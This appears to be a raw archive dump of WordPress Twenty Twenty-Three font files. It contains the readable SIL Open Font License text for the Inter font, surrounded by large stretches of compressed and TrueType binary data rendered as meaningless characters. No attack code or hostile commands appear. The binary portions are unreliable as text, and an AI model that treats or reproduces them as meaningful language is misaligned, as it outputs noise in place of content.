>bd)Q>#EV5}CN 5UUfVfNfAUe 2'-&3G0SaR0T!qXTA:Z+6+mp PӾЊ[ *V領۞Au~(_ W );T+tf#/<@;2yc+J7W}ùꥠW8 93!f"e>tC3=?;R؜f÷.3CQ-|G\TE; r v{HEbV+֘uNw[j0I;g셟4v{W*\uf` >kzRl > ޸1ĈĻf_fENPWgN!Qk,HBm̐ }0D'`DKښŐO(IKsڙ3L۟;Hq]lObKDJ=^[}C^1役 %]4a6kZn2 EǙF܅OkZ;%6&9[DzV3-\We8(I^4ovZ<wV$QpSRϘ߸My)Zk8ȩg"EM&]=QF&羑 e;=^>׵: c>:7Z,x0@1)wGb`M{~u3(>ցj(oaҐ*L~ݧ)%Rk+(i4T-)ʭ@l_F&UjtzX (HBA[d}A_KHʊT\-a'\q%T[."d}f"D{+P2L*a6*ZL#IDD)L[Do˃3J-?߻pqZ L% :N/ю[DqiSڳmPNS#Wܖ'E/juAG4C1Y2D*3񶉨I9 `<kV]Q[cƂYtGz難԰U$P)kk"\cMN2uS[gѳ.IBB7|{bn4ؖrr!lKy9I9mU%6XCz^|+̅POzȾ=]jHrf$^d83P[6jXk}cO?J8a: \ӄ(EoAM~*ߡR m@yCO7MLoUʷ%yϔZwOq?9 i+x >x֑ _lbf0 Q;b+y Ȑ6T^O`x. oWfp'!sV/( ^WuT;`$UӼnǫ2¤k"PTm Ӥf3A].甬q&x-W2*^`ZJtMJ.7M9XgJUo]?=~C3M?3_*"bf$mbC8r"&!WOJ2T455ZrMk!j](kSwU .-'JvmqUf-gXk)RqHnkĝ+SI׬LVѺV((,IM}p+0@k^X&Yݰ4q3twӁL ݃$7TCFn*YIUOWR'}_4mpU jT74)\?~ACNS !jDW g5"&:־1P6vsmϫ{v hgƂ%k~.Qo8?L&~і=YQ8lڴ^]Zb;73*Bp. #$&S"`&,̾ }]g#;[P&B|Ā2Pz9uqUL r:(QiROM}ET8 4P1#d6!c[yPtk _!]cgVCYfњgO<^Npսx6cY˿8.9NGMf'*7Eۯxh-{tI^kwVcx¿?9W'n8~~;[{8g_ E~^Xa}b}a37OFa=?VN~oNiu{ \_ıQW}䙴!vtԡ*mzaW|aIs??!~+n{h}>0XhK(B9CzhmGoÿ HR*8d(ow>{`|gǡq;Qq@gḱ9d o5&3CEI k¥KQOJޡ}$3Ve),XzrܠRSg]Q}y\cn=*A퀷C5%BPML&RVJ&DiE=Yt)i0Z̡%WJ,g  c*;`yoEJw6+bFM; /2<]sr|.;;fDNu3Lf*\k)> 0xeV{G>.`4No "se F8x1a>G45ZGu`ӓuWܝB:;l?=AW,>H6^݋3U81P;}wW;KMFǨzζfbldtjڼJlDes o.Y#RD>`6MբiЁ B~(C*cLzO#o#:f]86!~cI*b _xJ+JyҎHk{.֠1马bpyەrK:HbAz]ăDv/\X(u,\ B:ܒп[֧$֚Cf2tF-.6CqVZZO*$]U0cnY&Rռe_Y>L"<֨mc^AU[ODžbBL`4hnlN)~6V-\sx8z<~|D:e@ 3-#Z4Ľq&(A^qI]7g)g@pcQ/?5fp;E+3p;bAT_҂1g+zDH@g~ "cyl8IW[r#;<;3p,χȸ 7䩫hϪ4G)A7CfY"M& c>pT_*kEB ׎H5n#IG˫BA8-z ܇o ,O>ˆsgl-wi53><.t0.s2yy & p JSvRA3yV&6_T4Ȑ̉.k\2eb @^fzcoձɆ g߻ : SnfeT;j[%'XB撐I[}k12i{/n9 `G!m[_  EҤ`Q$smtˋ>GpJb @*~VQi9F:=~9MA@8ds!|*خ8 DN~<^28shu"^<| M^I讼邏F~}+ A6xnxAR"l_ ?+B{4zV>-u#P!JiIa{Di&ieFU֚ud=@6MeFIaƁp$KWNsۆa6YQ138.b ٰ vw)vzzvv|zls`e; ji&>) ŔQK^ۋq=(#kfny')5^%UQ/m3F>dT@ 9p$, ψn7=l2~d;rZ p|:|zmFX ~g,C4+qׂ_-bvcƶi$A/O2%\lLIdX22_7LZ100ݽR&Tjk:c<r@~'4+=o~{5˺(>/|s??ɧR"ˍ[7V!~1 >mjj䟺m|vW5:~~W_W>xo_k̯vVWUj;>i/oYײ%wտ1@t((6}Hv clS0`1ӝzZVVU%(Y? u ,%0czCΑy#2JpB {W&;x<"nK?_w~7mwlDžnFk|Ou;;*.]зqW$eJ9sȦS.RXN)UeRqej,*vudIz5v0%Y̕YTe4'c=殮}Mm]g{7|U<i5.pv뜧VIR&9Z&$"D$PG!ov( BpfLr20[YD$XPak7bI5  B߃\ Aj1,堰VZP[?O.F0 f[b;X`űRo4o;D3CƬP1rDcKT#섈8)bN3#;;0 qclg=vo|dy%IZiwa~17~7>?'=|oeV:Bч (!&g׵Is-QBY ,Y#ub:pLQk7G4'sE'FtEVtWw[KRhe0`,%vDrH'i' *Dt^OI#dMFo%OW^e@)!% gR+Hi!t1Hq;d /dL2CfY qBV| ~AAP 'P( Eߡ#.Cq(N\PP@) #P4h 4uh4$ P *  @bbXRXFLrXN XALJXIa"ذV5ZXKd:Xa='n؀a#l$`l" a31[` q 6Ba; ;H(.؅˰v=^Kd>؇`?$fpC~8',SPNY ԅp e \p7a:܂[ a܁!pZp>GVT ^օmnqz:;m.wu7~ҳoB[D&&w[42י}>޷A8cq`phbxDTQ2˪W-SB je{FLZ.f\VqÔE8PNGr[aiÄMҙ2y؜r3]w"[3@av5![K @-ܓVsi <;y<u!/L'/@m%EK=y Rb^ u9qM^Wv5IzK:ԭ#yNޓ u/߂z@v@^";PQ]7=})YE!ԗ.{jI[#CL&Gg׮_ýL3-5"ʪ+/s]ZJF7J5\#;L #M 9D$`>(O@MX۞2Qj N*&AXD'֢!уNt=JEwrz>$> 7~pI HcI 'Lk0d2 ngYrI0,xF o(x~W}`|? `| g >b1% K,X]VL0 ![0|IW0|M870 |Kw0|O0HxO0L6_`1(`XK:،6l$v a3-[lX  ob av ;8n؉=.#.qp88B9 I8\$pNN%8CR9 I<܅9;9y.}䂊 &ꞪRX4)d!Z;7j 4`&HӉ&\bmqU$5kTRdǭN5,#.PAs ҟBv૤Sh.rF EƍC13Uʶ2gfӝwoޗ|[yDUx><7守TVm h;ЬKAA9N@b"hv^.4gAh.㇡yͣhA8֫&mUP[)V#N;ϘAFRkLu7SqOŝdU~}SEth8lʁ/HϭhN Kh\-v1ؿoͫw 4S KLvúEZW$ j֬hN-_ՈUԙ;^޶\JWJBZk@-!/n?4꾤$#qHEF^!;E71pU)Klʼn끱\@v*9~wg$2Adl1v)>9<2;-§d+^|!5W2}|dU%r&4PO(?&!!>jkWm'R{=U};/GBĩlj,P UEm]rx¡"AA%B|ȩY?YOCBj. ZEx*W~N=J yT!D&d0?=t:[wW+ȚNn,qb}/?LuLP/sэrְ -N<6岥OHsʏ@'Zb=w\ngF mCM[J53H}^ہ4o> AnyMӘ* 5޵O|Q+ k3^[?Ԡ)EyrcRZyX+pS>ܵ/S*1uU|uDiBrqy99OR);H#L.+ᔶ4` yE3nW ue<*/Bup2#ƔZYe/%!Kd>=%Ƃ6+*8XJz U] BuMN:s>a5Wx=b5 zTj] :eyw&0|Ti?;˛zK{XI]Gdl> 3Ba`U8![jl+ِo Uot6ԅô!Կ4+tVᬔ~kkihVDH9SG ӴﰶԛVl.]>K1XRxoCEp(ͽ:|GU$UEtg҃!ZK^sZӨsK]x)-~kӪ`VlZ8mI|A>ii9.f* NNxhhqF{C+ {1kZW<d;RfQ"Q42M=ER6z\11&-x uD⣡Td\-kPWA"OA쩃cipߪTvn!_&+׀ۀJ~  F =`9f5P'C :S쓰2*V4JdhHǟxr8Pp+&c D0Q ]=}3/ B#2LHPi䬷" :O_\zn~`{Tswj{ӯBs7 XdLMwYB朤GJǐIZdh-k*+=3i뗼ЈBAH@[Q"{ԧF%1ZmcuBc{em7L'I ܬEe5צ4:MZuN6uC-2UԣkjO^ MLIcfh@diP׬ѐȰyQ]v9֎Ԛ,9aC4SLӱPg¼eƶ"GBc9hY1~$:|HѶdSV$l[qH(U 34i1Rʌ{o"H^_8,2~B/ E0 XBNz"BYJӤ&t,xOi)DrG8%pK-}2 @tv֮9* q˄ܤl&|KYҢfEIY%O!}JЂB2v0vdv\8!̐2$y%E BS+%@5MS 75y4D! LH"!T7ٝW>猦jG I;eX&Tlk3Ҡɤ@>↤:LL3 C#% Ov\"W< ]- M#44}el)èFk'RߦkIODthemes/twentytwentythree/assets/fonts/inter/LICENSE.txt000064400000010430152335264760017300 0ustar00Copyright 2020 The Inter Project Authors (https://github.com/rsms/inter) This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. themes/twentytwentythree/assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf000064400003041070152335264760023644 0ustar000GDEFB[GPOS4Xt0GSUBq5UxHVAR#P"?OS/2"nbn|`STAT:\cmap/.nefvar&)$gaspBglyfO4<&gvarS4head-aFFT6hheanX$hmtxLF'loca ]4'maxp d namesippost5rpdprephh  !!!!! @H( !!!!#!!LdH( @ #!!!!#!!"&54632!"&54632L?aa?E[[?aa?E[[da?E[[E?aa?E[[E?aH( H&l@H( &fdH( &dH( h&j8H(  &!!!!#!!"&546632'2654&#"L xNPPNNP>RR>>RRdHxPNNPPNU==UU==UH( &H@ &vH( &m@H( &n@H@&vH( h&s8H( &H( &H( &{@H( t& H( @&phH(&@H(&H( &$H< &4( &H( L&,H( 8&H( h&'j8H( &8H( &8H( &0H( &4(H( &'n@H(H(&gpH(&N,H(& @(& 0(& @D( !!!!#!!5!'6655L Ĕ;qPl6:dLpPv,T?ch(& H( D #-!!!!#!!#".#"'4632326'6655Lxf7M=B--?x~f/JDH+-CTTx*&d$c(E3 c*E`N73# !2hmfӱ-fmhܔko88ojZDDZ7#46632&&#"#.#"32>73# !2hkp$I(@e;mfӱ-fmhܔ` %[Pko88ojZDDZh&Iuh &Idh h&Ijh @&Iph h&Ish &I'udh )3#.#"32>73# !2pmfӱ-fmhܔ ko88ojZDDZX%332$$#"#>$3 !"$&&lf-Ӻflhܓjo8n  n8okZ((ZhI@ !!! %!2$54$#!p*LHpNt73jg #546633#"!! %!2$54$#!^PM*LHpNtpoGq@L 73jg@ h&Ts@ @&Tp@&T<@&TbX@&Tw@&Tx@!!5!2$54$#!5! #5!pN*LHpjg73ĸ H&T Hh&T 3!!!!!$dLH &_f  &_d h&_j @&_i  &_m &_n @&_p&_v h&_s &_{ t&_&_u &__h &_[h&_l&_ &_'un&_ &_$ 4&_k &_( &_@ L&_ 8&_d h&_'j #!!!!!X$d  LH !5!!5!!5,d_d'_gd@'_dNd,'_P d h'_ d '_$ td'_ d '_@ d'_ l'_ _ &_f  @&_h  &_n 3!!!!,xLl33#"&'532655!!!!32&&#".#"32$5!5!# 4$32l 8d`$I(@e;!koְ0 L eHŢݔcj6 %[Per<Da| h&j| &n| @&pX|&w| h&s| &d| &m* 4$32!.#"32$5!5!#'#8eKĢnoҴ0   uDaer<.!5 4$32!.#"32$5!5!#'#T8eKĢnoҴ0   uptDaer<=#7>32&&#" 4$32!.#"32$5!5!#'# 7e`$I(@e;eKĢnoҴ0   ucj6 %[PDaer< h&j &n @&pX&w h&s &d &m, 33!3#!Dpl,&u, l&j, l&s, D&p,&P, D&i,&8!53!3#!DPpl,!3#"&'532665%3!3#!4)LfzC$I(@c9DOdD# %[Ppl&& P !#!#3! PDlp h"$5!#3!332653ѩD- lpxԖ,'Xg'N'  ' 'x 'd ' D' L0 D' L0 `'4 ,X ' ,,dX'T' ,NX'' | X ''  X 'x' P X 'd' < X '' l X D''  L0X D''  L0X,& #4 @#"&54632!"&54632?aa?E[[?aa?E[[a?E[[E?aa?E[[E?aD &|,&@& &f  &d$ h&j\ 4'kH &m &n&v @&p$$ h&s &{ t& &$&`&pg04 @x'Nd't ' 8'H $'4 T'd  D' L0 D' L0 &nH &m' ,X' ,4 @&h4X 5!5!#0$X @&i0X &xX&@&X &fX &dX h&j\ 4&kX &mX &np&vX @&p X h&sX &{X t&X &$X&'N' 8' 'x 'd '  D' 0( D' 0X &nX &m'4 <' XX @&h0t3#"$&5332665WakOH{WHZt4 h& jt<&  t t  333!!D\8dhX&w h&s  &d&<&b!##!5!3!@l4(XT$x|&L$33366&!,PRdBM\8XD:*Sh33! &dX&w`&<& &'m<&b&p< 53!hԼ&@$@&0!3!#####((\ &#dH @&#p&#$ &####P ###33P`HLP 4&+kdP &+dXP&+wP h&+sP &+fP @&+pP&+d<P&+bdP&+D\!3#"&'53265###33@pT$I(`|X`cj6 XxHLP!3#"&'53265###33`op$I(``` XxHLP 333###`LHP &7fP &7nP &7mP @&7i< &7'n,P7P+ @&+ ! ! $#"32$hhӺӱ--(DD( nn @+7! ! $#"32$"&54632!"&54632hhӺӱ--H?aa?E[[?aa?E[[(DD( nn a?E[[E?aa?E[[E?a H&@lP#'! ! $#"32$xhhӺӱ--Th77>54&&#"4=lrzӉ  vOLqˈ|}EHPfp]It J8KnbXL-34$32#"&'732654.##5&&#"Ж\8]cP9cJq|hB~BP>TT $,дqP",-S5!!#|$$&u( h&sX&w @&p8&<&b&!#!"#5463|FP"۽$Bh:Lx !33#".555!!#`LTxF||xH5hc$$  35!!#hp<| ($03#"$53326658ILȖ酅| 3#5266%3#"$5332665uԌ=$|\ILȖ酅0 &f0 &dx0 h&j0 @&i0 4&kT0 &m0 &n0 &r\0 P&e00&v0 h&s0 &40 &0 <& <80 & <80 &{0 t&f0&0&t0&40 &0 &]<0&T0 &D$ &dx &f &D$ 4&kT|&T0!53#"$53326650@\ILȖ酅H(3!!L``DH( 4&kH(&< 4!33!33!#l<<||`< 4 h&j< 4 &f< 4 &d< 4 @&i< 4 @&p< 4&xL 3!!#!p$|lTDL @&p8L @&iHL&L &|LH !3!#H88DLLL!3>&#L8Bb@H6Dor .!YLH &d H h&j(H @ !!3!#"&54632!"&54632H88?aa?E[[?aa?E[[DLLa?E[[E?aa?E[[E?aH &m0H @&pXH &fTH&H &$H 4&kP !5!3!#P@88\DLLHH'ghH @L' L T'L \H ' |H $ D' 0H &n0H &m0L' l' @H&v8 35!5!!P\pܴ8 &d8 @&p 8 h&s8 h&j8&<8&bH5!!2#54&&#!5Խ"PFP$ܴxL:hBp8& @8P".##5!5!3267lhlP趜X9X'!~WWpܴd \%6"&&54>7>554&#"'>32#5#'26655hkQ'7>554&#"'>32#5#'26655"&54632!"&54632hkQ'7>554&#"'>32#5#'26655"&&546632'2654&#"hkQ'">7>54&hkQ'7>554&#"'>32# ',Kxr`gnz؎]n$ce{&\aiijQ'"\ Pd̂v~}5kP@tan` 5iZ{}oӖ_/ .8TP?DoTVV &m &dh &"$54$32353#5#'2654&#"ڦ(–]`tfdĐce edc}(*cԕ & d& n & & 'n &  &  & (h& sh& j & $h& 'j & < L&  8& `& {@& h & |@& p &  & & f & $t& & m& v& p `& q & & 4& kD&333>32#"&&'#32654&#"](`fĎecǖd (}cc* D&?D(!3>32#"&&'##32654&#"xl](`fĎecǖd(}cc* $%5"&&'##4>32&&#"3>32'2654&#"`=nT$I(@e;](ecǖdf c*cj6 %[P(}cԝ D@&?p`D&?<D&?b "$54$32#&&#"326673HȨ7Тsqό\h fgxؐi@xT$#"$54$32#&&#"326673tȨ7Тsqό\h @fgxؐi@xT1#546632&&#""$54$32#&&#"326673kp$I(`Ȩ7Тsqό\h4Ȅ` Xxfgxؐi@xT4"$54$32#&&#"3'>$32#52654&#"HȪ7ТsqόH/ Vm3_̵ idxؐi0jYdmԁcKEc&Fu&Fdh&Fj@&Fph&Fs&F'udFF&"$54$3233#5#'2654&#"ڦ(–]`tfdĐce edc}(*cԕ &R)9".533267"$54$3233#5#'2654&#"Tn=;e@(Ixڦ(–]`tfdĐce6jc8P[%  edc}(*cԕ   (8"$54$323#4>32&&#"#2654&#"ڦ(–]tt`@=oU!L.@g=HPLfdĐce edc}(*cch5 UPx   *!!#5##"$54$32334&#"326\L`ڦ(–]dĐceǔf*cedc}( ,6F332654&'&'6632#"&&5%"$54$3233#5#'2654&#"qKHXI?Hs-8`oc|T,ڦ(–]`tfdĐceP fj[E?T 7-@ceǥl\fpedc}(*cԕ `&R @&Rp&R<&RbX&Rw&Rn &R  "2!55!5!!"$54$3233#5#'2654&#"\hll ڦ(–]`tfdĐceǴ`ܼ edc}(*cԕ  h&R 8'>N!532654&#"'76632#'!5!5!"$54$3233#5#'2654&#" TU3`||ڦ(–]`tfdĐce܏Q<8G|TT^E[\ܼedc}(*cԕ  8H!#5##"$54$3233!#".'3326654&&##5!32654&#"bڦ(–_ vٰurpji͖4eǔfdĐc*cedc}( 4qPMpjduܤ L&R'(&"$54$32!5!4&&#"32667\7xr`gny؏]n$ ciPd̂v}5kP@ta@&2>"$54$32!5!4&&#"32667"&54632!"&54632\7xr`gny؏]n$ ?aa?E[[?aa?E[[ ciPd̂v}5kP@ta a?E[[E?aa?E[[E?a*#"$54$32!5!4&&#"326677xr`gny؏]n$ @ciPd̂v}5kP@ta&df&ddh&dj&dm&dn@&dp&dvh&ds&d{t&d&du &d`d @&d\@&dX&d&d'un&dx &dh$4&dkx &d &d L&d 8&d<h&d'jxd&df@e&dn &2#"&&55!!3266554&&#"'> AxrPgny؏\n$ P'd̂v~}5kP@ta@`!46632&&#"@|nWnD?3ugԄX vrdH`!546632&&#"|nWnD?3ugԄX vrdH`546632&&#"H|nWnD?3ugԄX vrd@ @&pH @&pHD`&%5"&&'73265##"$54$3235326654&&#"D0 b_٫(–_fdĐceWP*mQ8*{_P_c}(uL8H#54>32&&#""&&'73265##"$54$3235326654&&#";jT$I(@e;h0 b_٫(–_fdĐcecj6 %[P WP*mQ8*{_P_c}(uL$&(h&j&n@&p  (&h&s&d&m#336632#4&#"6ٵ콧tidw}0b&u#336632#4&#"5!6ٵ콧tipdw}0b(,!3#"&'53265#336632#4&#"5!=nT$I(`6ٵ콧tipcj6 Xx@dw}0b)#54>32&&#"#336632#4&#"=nT$I(@i?6ܮ켤qfcj6 %[Pdu0b$;!3#"&'53265#54>32&&#"#336632#4&#"=nT$I(`=nT$I(@i?6ܮ켤qfcj6 Xxcj6 %[Pdu0b ,3336632#54&#""&553326536ٵ콧ti`;}ׄw}bdݠ@ 3###"&5332666ض쾦uidw}@bxt$56632326653###"&54&#"xI$Tn=ti6ڴ삀`(@ 6jcȷb0x}HxXx4566323266533267#".5##"&54&&#"xI$Tn=ti;e@(I$Tn=6ڴ;e@(@ 6jcȷb\P[% 6jcx}HP[%#336632#4&#"5!6ٵ콧tipdw}0b h&j h&s @&p&| @&h&d<&b|@33"&54632tEccEEcc^BB^^BB^33@33"&54632!"&54632l?aa?E[[?aa?E[[a?E[[E?aa?E[[E?a & h4x4&<k@&&@&P&f&dh&j|$&m&n33"&546673267{HlZ,<-F!kJ32&&#"p,=nT$I(`@ pcj6 XxX&w h&s &d&X<&bX($ #!3#!H0`X$T,#5#\&@&`!3267#".55#;e@(I$Tn=P[% 6jc@ !"&&546632#4&#"3!#Tnpa|_e5PT*C'\H8Yrfa:jWBb+G*32#".5#qKHX^N`?80msu7ndc|se.PEc[EHPjBܜ@2J3Znl\LL&p &ddX&wz`&x&x &'mz<"&b&n37667#"&52N*)0^3pZ  537667#"&5\2N*)0^3pZ  &@d<&d@,!"&&546632#4&#"3!37667#"&5Tnpa|_e5PT*C'\H2N*)0^38Yrfa:jWBb+G*32#".5#336632#4&#"qKHX^N0PE? 80lru9ndc|se.6ܮ켤qfxEc[EHP0>!ܜ@2J3Znl\LLDdu0b&!3#"&'53265#336632#4&#"$I(`6ܮ켤qf Xx@du0bS&dX&wh&s&f@&p&x<&bx&Xd@&p"$54$32'2654&#"Hǯ99Оbb̞bb dfԢ @+7"$54$32'2654&#""&54632!"&54632Hǯ99Оbb̞bb̂?aa?E[[?aa?E[[ dfԢ La?E[[E?aa?E[[E?a4&kH#'"$54$32'2654&#"|0ǯ99Оbb̞bbTh4hdfԢ t(3#5266"$54$32'2654&#"daǯ99Оbb̞bbtRdfԢ &f&dh&j&m&nP&edh&s4"$54$32'2654&#""&546673267Hǯ99Оbb̞bb̒{HlZ,<-F!k dfԢ J32#"&&'#32654&#"](`fĎecǖd@(}cc*@ $*33>32#"&&'#32654&#"<Р0<](`fĎecǖd@@(}cc*@ $l $4#4632&&#"33>32#"&&'#32654&#"ѷ/I(jv](`fĎecǖdRr@(}cc*@ $&;d$@&;p8$;&##"$54$323532654&#"`ڦ(–]`fdĐce,*cedc}( l"2###"$54$32354632&&#"4&#"326`ڦ(–]ѷ/I(jvdĐceǔf,*cedc}(RN &-=".5533267"$54$323##32654&#"Tn=;e@(Ixڦ(qb=tt`,PH`fdĐce6jcddP[%  ed:WY*c   $43267#".5##"$54$3232$54$#"h`(I$Tn=N~}?CK~վ朠\xX 6jc諹~<uv3336632&&#"*܊N U/per ]h4&".5533267336632&&#"hTn=;e@(IL*܊N U/pe6jcP[% @r ]h4&E@@#5##"&'532665@*܊N U/per ]h@l%".5533267#5##"&'532665Tj;rn.L*܊N U/pe5hcjn Xr ]hHt#4&&#"56632tEo@(OTvCNY% 5hc!#4>32&&#"CvTO(@oE|ch5 %YN3336632&&#"*܊N U/pe@@r ]h4&EdbX&Ewh&Es&E{t&E@&Ep&Ep&E'mx<&Eb 3336632&&#")܋@`$PC,per ^h4 &".5533267336632&&#"hTn=;e@(IL)܋@`$PC,pe6jcP[% @r ^h4 &V 3336632&&#")܋@`$PC,pe@@r ^h4 &VdbX &Vw h&Vs &V{ t&V @&Vp &Vp &V'mx< &Vb4*.#"#"$'732654&'%&&546632Mgʗ) ptœ<5eBcXf"82͡x8||cPm<2ӟr<4;33267#"&5.#"#"$'732654&'%&&546632Mw@.L!Mgʗ) ptœpdPU <5eBcXf"82͡x8||cPm<2ӟr4<3267#"&&'.#"#"$'732654&'%&&546632xfI(6e!\-QXv;\Mgʗ) ptœlܝ;B-[Ke<5eBcXf"82͡x8||cPm<2ӟr4&cd\4h&cjx4&cul4h&csxX4&cwp4@&cp4&c04 &c$4 &c$4@&c'0p4c,(6$323267#"$&546776654&#"8å)rȂ2<5c||8xЄ28"fXcP,346$32##5326654&##5326654&#" mXֶeP줯2֢Xdg\ȹ P4#4632#"&'732654.54>54&#":L:aa<`-zbb32#".5!5lPCeLh'czր9l_se.4pEcPP=[1lkʖSd7LLpXhpC!533267>32#"$54$32#&&#"326654&#"&&5tl@W^^}}TȨ7ТsqόZcKYRLInqnp,{]ddW[arfgxؐi9mN>B;uXUS_p35!#4&&#"'6632;]4'20VBd}dc!  VXp5!!533267#"&&5X;]4'20VBd}HpHdc!  VXp&tu0X&tdXXp&twX @&tphXp&t|X<p&tb|Xp&t\ @&thx3###"&5332666䮐콓X}tu@Z@&h4&ktD 3#52663###"&533266@Pȴ|i`6䮐콓X}Dg=u@Z3326653#5##"&'#ii >ހ? @t}jk|yy!53###"&533266<6䮐콓X}Ըu@Z&f&dh&j&m&n `&q|P&eP&v4h&s &T & L4 & ` & `&{t&&&&T & &^`&t &d$&d&f &d$4&ktD&t`#!38`33!#`88XX8`4&kP`&P`!33333##4,LHDL,hld`@&h8`#####33PPhld`h&j`&f$`&d`@&p(`&` `&qxx !!!pptTxx@&pxx@&hxxxx!333#"&&' .##5323|n#6KD::rl8J^|*3EF::rl=E?)ro<PF,{u4`"&'76677!3!p<^32&&#"p<^<^A<^<^`܏Q<8Fŀ|TT^E[\ܼ3#!2#!5!26654&&#!t.ffĎXUttY!#$H(3!%!#Ht8#!5! ! $#"32$8hhӺӱ--nn(DD( nnp 35!5!5!pht#!#$8%!5!5#5538|t (#'#"$54$332%326654&&##"#nlJ̮بSU끃3##"$53332$65#(($\~~*35!5&4$32!!6654$#"KK(ކ‘bބ#m X8AZu8XL' ,&g &hN<' x H*0;!5!5&4$32!!6654$#"#5!!'66558KK(ކ‘bބ ;qPl6:#m X8AZu8LpPv,T?ch '( ' 'D , D't L0 8 D' L0' ,X &h' `N7!32654&&' NwCYt,?O/ 2J(B66B%G4@lN)Zmn|to(0@C-(kx3!!!2#%!26654&#!$/eqd 3!3!$\&'@LH366!3#!!!HDyU,\ <^>}&`8H|L $# !!!!!,,,t(tL h&<3"$&'3326654&&##5326654&&#"#66$32˵xvtp؜zi\qjv'ڵcN\lqbXlhVMf/ ç !##33!@l4(XTx|3#3!!!!` @ xh|h5! #'25!33!!X(sǠx8d8\\H35326!#!#H7#"$53# j„SECcϣTG "" z & ` #332>7#"$53#Dj„SECcϣp<TG "" z!#4&&#"5>32#3j„REDc1 G "" zT!5#4&&#"5>32#3@j„REDc1 G "" zT  3!3!3!x H%##53!3!3! Hx@$`5!!2#!3!26654&#!\H/e$qd`!2#!3!26654&#!#H/eqd8!2#!3!26654&#!H/eqd8 X(353266!!#!2#!3!26654&#!88S{T1 $ $ 7wԪH/eFGyqd 33!!!2#!3!26654&#!DH/e8qd&!5!326554&#"!6$32#"$!wp;lT,FClʎ1[]/ x&gQ,@@h!#!"3!!"$54$3!!!hL\[ɤ(Δ4<$e{{`hlH&Rl &ްRX#'"$5$32!.#"32667!5!pD yݐ  TҊk´jƈԡ  :% $54$32#"$54$3"32$54&&#" Wͥ{lfAWXXY r`V\JꂇD+33  $$32!5!5#"!267ಚεRO4Ekm@9К  LNӜ,.Z:2);  ( !"$5!!32$554&&#"'>l4xPh޲}E`2D2tL,Nt"0?3$#3326654&&##55!5!#"$& yvxh澤܄`ζhIVovhܴh`ڀHj6633#"!!3DD T>&`keDT56$32#'26654&#"#%!5{ mB_l}|/5ÐT^z5,,.'"$54$323&'7'26654&#"0D4DҤtx",hIʒdZĞ`ZtLLPx<|$"zWCԈ掂$)3#3>32#"&&'#4&#"326<73# ➧&̏1\$ܼ>hrzjdxopEܴ$P4 hck{I¸y{K|j|&'|&' |&' |&' |&' |&' 8|&' | &' h| &' D|&' \X|&''  X|&''  X|&''  X|&''  X|&''  8X|&''  X| &''  hX| &''  D|&'n|&'mX|&''  \X|&' X|&''  |&' X|&''  932#"&'326654&&##2##5326654&#"#46$ }oTa|f[ptݙOtptWәfeSubdnjdqH\e~`VTb4`!!#`p ``^%74$32&&#"#"$554675&&3266554&&'"l]#".546$32#&&#"33иlVҮ d/{Яs)  pFuIll}Coȅ=tI@Dm=ljNjhk`t|&D7"$&54>33#"323".546$32#4&&#"33/{иlVͧXׯs) Ygҟoȅ=tIpFuIlCpDm=li岬k`t|D|52#".'332654&&##5532654&#"#66$32#<{/賈d Vl )sذ It=oC}llIuFp@t`khjlʎ=mD6"$&5332654&&##532#532654&#"#46$3 4XVlг{/иhYE)sp0lIuFpIt=ot`ki=mD-G5%3267#"&&'2#".'332654&&##5532654&#"#66$32#l-SJ$$ $'Y0rH{/賈d Vl )sذHvf_\It=oC}llIuFp@t`khjlʎ=mD|&D |&D |&D |&D X|&D |&D |&D  !%3'6654&''&54>7!!x,pWvf‡qAA(6Bd!5!#!33267#"&5H85O(!EfH|HH 